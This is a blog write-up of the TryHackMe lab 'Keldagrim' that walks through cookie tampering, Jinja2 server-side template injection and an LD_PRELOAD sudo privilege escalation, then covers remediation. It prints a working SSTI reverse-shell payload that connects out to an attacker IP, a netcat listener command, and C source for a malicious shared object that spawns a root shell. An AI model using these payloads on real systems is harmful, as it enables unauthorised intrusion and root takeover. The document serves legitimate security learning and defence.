Hey ya’ll! Hope everyone is doing well and enjoying their 2021. For today’s blog post, I’ll be diving into the TryHackMe box Keldagrim. Keldagrim is a medium-difficulty box that leverages cookie injections, SSTI, and improper permissions to exploit this machine and gain root access. Let’s get started!

Scanning


As per usual, I’ll start off by scanning the target machine. For this box, I’ve decdided to use an nmap alternative called rustscan. As the name implies, this scanner is written in the Rust language and touts speed, adaptability, extensibility, and accessability as its main features.

With the scan completed, I’ll take a look at the output to see if there is anything interesting.

Rustscan results

Looks like I’ve got an open web server on port 80 and an SSH server on port 22. I’ll start off by going over the web server as those usually yield some more interesting results.

Recon - Port 80


Getting started with the web server, there’s a few details I wanted to note from the rustscan output. Firstly, we can see that the web server is a python-based server called Werkzeug. I’ve seen this type server before, so there is one exploit that I’m hoping shows up.

Since I’m working with a web server, I’ll go my usual route of scanning for available subdirectories. Using gobuster, I scanned the site and found the following open subdirectories:

Gobuster results

Well, that was not as fruitful as I’d hoped. I did find an open /admin subdirectory, so hopefully I’ll be able to use that information in some way.

Moving on, I’m going to jump on the website and see what information I can gather from just browsing around the website itself.

Our beautiful landing page

Seems as though we have mostly static pages with placeholder buttons - nothing too interesting. However, I do see that the Admin option in the Buy Gold drop down is greyed out. It seems like there is something the site is checking to see if I should be allowed to access the admin page. One thing that I haven’t checked yet is the cookies this page uses. According to my rustscan from earlier there should be a cookie called session, so I’m going to go look for that cookie and see if it might be exploitable.


To look at the cookies this site uses, I’m going to use Firefox’s Developer Tools. When I open the Storage tab of Developer Tools, I’m able to find the cookie titled session.

A base64-encoded cookie? With no httponly? Hmmm….

It seems as though the cookie is encoded in base64, so it’s off to CyberChef to decode this and see what the encoded data is.

Oh we can work with this

So it looks like the cookie is just the word 'guest' encoded in base64. My immediate thought is to change the cookie to 'admin' encoded in base64.

Bingo!

Awesome! It seems as though the server checks the cookie to see what permissions the user should be assigned. Navigating to the admin page, I’m greeted with the following screen:

Seems pretty lackluster

Nothing super interesting on the actually web page, but we do have a new cookie - sales. Decoding the cookie reveals that it has the value “$2,165” which is exactly what is displayed on screen. Just to confirm, lets see what happens when I change the value to 'AffineSecurity'.

Oh boy

Cool! So I now know that I can control what content appears on the page. Now if I’m being honest, figuring out where to go from here took me a little bit. But after a lot of thinking and a little hint, I finally figured out what to do: SSTI.

Exploitation - Server Side Template Injection (SSTI)


For those who may be unfamiliar with SSTI, let me offer a quick explanation. When creating a website, the creator may choose to use a web template engine. These engines can dynamically generate static pages from templates, allowing developers to streamline the process of creating website by only entering the required content and allowing the engine to put that content into the template pages. So what’s the issue here? If the user-submitted data is concatenated directly into a template as opposed to being passed as data, then a malicious actor could submit content that includes template syntax. This would allow the malicious actor to execute arbitrary code.

To see if this page is vulnerable to SSTI, I’m going to need to figure out what template engine the site is running (if any). For this testing process, I used the flowchart and test commands from the PayloadAllTheThings SSTI Page. After following the chart, my final result ended up being the following:

Success!

We have an SSTI-vulnerable page! By entering {{7*'7'}} as a base64-encoded value in the sales cookie, I got the engine to generate the string '7777777'. This output also shows that this page is using the Jinja2 web engine. Now that I know I’m working with Jinja2, it’s time to spawn a reverse shell!

There are a few options when it comes to spawning a reverse shell with Jinja2. The manual way is to enumerate the available classes by looking at the Method Resolution Order (MRO) and subclasses to find the subprocess.Popen method. IndominusByte on Medium gives a great explanation here of what MROs and subclasses are and how they relate to this exploit. In a nutshell, MROs list an object’s base classes, the base of those base classes, and so on, while subclasses allow us to go the opposite direction and view the classes within an object. Once you find the MRO that contains the subprocess.Popen method, you need to slice the output of the subclasses until you find what position the subprocess.Popen method is located within the tuple. Once you’ve got that done, you can follow the “evil config file” method on the PayloadAllTheThings page and spawn a reverse shell.

…..

But in my case, I’m just going to run a one-liner that imports the os module and spawns a reverse shell (found in the Jinja2 section of the PayloadAllTheThings SSTI page):

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}

Before I execute this, I’ll start a listener on my attacking machine with nc -lvnp 4444. Then, I’ll encode this monolith of a string into base64 and place it as the value for the sales cookie. Reloading the admin page causes it to look like this.

Hmmmmmmm

This looks promising! Let me check on my listener and see if I’ve got a connection.

Reverse shelllllllllllllllllllllllllll!!

Yes!! I’m in!!! Spawning a reverse shell never gets old. After reading the user.txt file found in the home directory of the current user, it’s time to privesc!

Privilege Escalation - LD_PRELOAD


Alright, time to get root on the machine. One of the first things I do is run some quick commands to see if any common privesc methods are available to me. One of these commands is sudo -l which will provide me with information about what programs I can run with sudo and the other default entries in the /etc/sudoers file. Running the command on this machine yields the following output:

Let’s see what we’ve got here

I’m immediately noticing that I can run the ps command using sudo without needing a password, but a quick check of gtfobins confirms my suspicion that I can’t use ps alone as a means to escalate privileges. However, there is one other thing that caught my eye: env_keep+=LD_PRELOAD. Not only is this something I don’t remember seeing from the many other times I’ve ran this command, but I also vaguely recall reading about LD_PRELOAD and how it can be used for privesc.

After a quick bit of research, my suspicions are confirmed: LD_PRELOAD is going to be my path to root! This blog post by Touhid Shaikh breaks down how this vulnerability works. Essentially, the LD_PRELOAD environment variable allows one or more shared objects/libraries to be loaded before any other shared object/library. So how can this be exploited? By being able to execute at least one command with sudo (thanks ps!), a malicious shared object/library can be created and executed prior to the command and put us into a root shell. To do this, I’ll use the following code and store it in a file called evil.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

With the file created, I’ll compile it into a shared object using this command : gcc -fPIC -shared -o evil.so evil.c -nostartfiles. Do note that this server actually has gcc installed on it. If a machine you’re working on doesn’t have gcc, simply create the file and compile the shared object on the attacking machine, spin up a simple python web server, and pull the shared object to the target server with wget.

Alright, it’s root shell time. To (finally) escalate to root, I’m going to run the following command: sudo LD_PRELOAD=/home/jed/evil.so ps. Be sure to provide the absolute file path for the shared object (the loader will fail to preload the shared object if you don’t).

Finally root!!

Hooray, I’m root! Now that I’ve successfully pwned this box, it’s time to go and fix it.

Remediation - Overview


So for this machine I want to do something a little different. Instead of just going over what the owners of this server should do to solve their security issues, I’m going to fix them myself! So let’s go over what exactly needs to fixed in order for this server to be more secure.

  • Validate the session and sales cookies
  • Disable env_keep+=LD_PRELOAD

You’ll probably notice that the SSTI vulnerability is absent from this list. Why is that? It’s because that SSTI vulnerability is only caused by the fact that there is no form of cookie validation. We shouldn’t need to do input sanatization because the server is setting the cookie itself and should be able to validate the cookie itself (more on this later).

Remediation - LD_PRELOAD


I’m going to work my way backwords here and start with env_keep+=LD_PRELOAD. Going back to my earlier description, it would seem that I need to disable the environment variable LD_PRELOAD altogether. Now while my description earlier wasn’t exactly wrong, it doesn’t touch on the key issue with the line env_keep+=LD_PRELOAD. While LD_PRELOAD is used to load share objects/libraries before the program executes, env_keep preserves this environment variable through the sudo command. This is ultimately what makes this particular setup vulnerable.

To solve this, I’m simply going to comment out the env_keep+=LD_PRELOAD line from /etc/sudoers.

No more LD_PRELOAD for you

Running the previous exploit command sudo LD_PRELOAD=/home/jed/evil.so ps now yields the following output:

Yay security!

Hooray! Vulnerability #1 is fixed. A quick note: I’m not going to be disabling the use of ps with sudo here. I’m assuming that there is a legitimate business/technical reason this user needs to use ps with sudo, and there is no known way to exploit this specific use case for them. Because of this, it’s safe to allow the user to run ps with escalated privileges.


After some research and thought, I’ve decided that I will not be fixing this one because the issue is not with any one or few lines of code but with the entire project deployment. Let’s start with input validation. As noted in this OWASP Session Managment Cheat Sheet, all session IDs should not be trusted and should be treated like any other user input processed by a web app (seriously recommend reading this document in full - it’s got some really great stuff). Because of this, the creators of this site should be validating all cookies to ensure that they do not contain any unexpected values.

For the session cookie in particular, the OWASP page I linked defines specific standards for what sessions IDs should contain such as name, length, entropy, and content/value. This cookie would need to be completely overhauled to meet these particular standards. If this server doesn’t have to use cookies, another option would be to use sessions. Sessions are placed on top of cookies and signs those cookies cryptographically.

Along with this redisgn, it would also be a good idea to set the httponly flag to block JavaScript from reading the cookie. To do that in Flask (oh yeah this server is running on Flask, not Werkzeug like rustscan said) I simply need to provide the set_cookie function with the following parameter: httponly = true. It would also be ideal to set samesite (stop CSRF) and secure (only send over HTTPS) to true, but I’m going to give this server a pass because neither of those can be set in this particular scenario (site doesn’t have a registered domain and is using HTTP).

I could probably go on for an entire blog post about session security, but I think I’ve made my point for this post.

Conclusion


This box was an absolute blast to attack. Some really cool vulnerabilities that came with a great learning moments when I was researching solutions to remedy these vulnerabilities. It also inspired a little spin-off project that I’ve been working on intermittently. Be sure to keep your eyes peeled for a blog post about that project - should be really cool!